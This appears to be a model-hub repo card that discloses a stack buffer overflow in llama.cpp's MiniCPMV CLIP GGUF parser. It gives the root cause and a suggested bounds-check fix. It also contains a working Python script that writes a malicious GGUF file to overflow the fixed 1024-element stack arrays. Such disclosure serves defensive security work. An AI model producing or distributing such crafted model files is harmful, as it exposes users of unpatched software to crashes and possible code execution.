YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

llama.cpp GGUF MiniCPMV Stack Buffer Overflow PoC

Vulnerability Summary

Stack buffer overflow in llama.cpp GGUF CLIP model parser affecting MiniCPMV multimodal projector. Fixed-size stack arrays with attacker-controlled loop bounds enable RCE via stack corruption.

Location: tools/mtmd/clip.cpp:3001-3012
Impact: Remote Code Execution via malicious GGUF files

Root Cause

// Fixed 1024-element stack arrays
int bucket_coords_h[1024];  
int bucket_coords_w[1024];

// Loops with attacker-controlled bounds  
for (int i = 0; i < pos_h; i++){
    bucket_coords_h[i] = std::floor(70.0*i/pos_h);  // overflow here
}
for (int i = 0; i < pos_w; i++){
    bucket_coords_w[i] = std::floor(70.0*i/pos_w);  // overflow here  
}

Attack Vector

  • pos_h = image_height / patch_size (from GGUF metadata)
  • pos_w = image_width / patch_size (from GGUF metadata)
  • If pos_h or pos_w > 1024, loops write past array bounds
  • Stack corruption can overwrite return addresses β†’ RCE

PoC Generator

#!/usr/bin/env python3
# make evil gguf file to crash minicpmv

import struct

def write_u32(f, val):
    f.write(struct.pack('<I', val))

def write_u64(f, val):
    f.write(struct.pack('<Q', val))

def write_str(f, s):
    b = s.encode('utf-8')
    write_u64(f, len(b))
    f.write(b)

def write_kv(f, key, typ, val):
    write_str(f, key)
    write_u32(f, typ)
    if typ == 4:  # uint32
        write_u32(f, val)
    elif typ == 8:  # string
        write_str(f, val)

# Create malicious GGUF file
with open('crash_2048.gguf', 'wb') as f:
    # GGUF header
    f.write(b'GGUF')  # magic
    write_u32(f, 3)   # version
    write_u64(f, 0)   # no tensors
    write_u64(f, 3)   # 3 metadata pairs

    # Target MiniCPMV projector
    write_kv(f, "clip.projector_type", 8, "minicpmv")
    
    # Set patch_size = 1 for maximum pos_h/pos_w
    write_kv(f, "clip.vision.patch_size", 4, 1)
    
    # Set image_size = 2048 -> pos_h = 2048 > 1024 = overflow
    write_kv(f, "clip.vision.image_size", 4, 2048)

Test Results

  • 2048 elements: Overwrite ~4KB past array bounds
  • Confirmed with AddressSanitizer: Stack corruption detected
  • RCE potential: Return address corruption possible

Affected Code Path

  1. Load malicious GGUF with clip.projector_type = "minicpmv"
  2. Parser calculates pos_h = image_size / patch_size = 2048 / 1 = 2048
  3. Loop writes 2048 integers to 1024-element stack array
  4. Stack corruption overwrites adjacent memory
  5. Function return can redirect to attacker-controlled code

Remediation

// Add bounds check
if (pos_h > 1024 || pos_w > 1024) {
    return false;
}

// Or use dynamic allocation  
std::vector<int> bucket_coords_h(pos_h);
std::vector<int> bucket_coords_w(pos_w);
Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support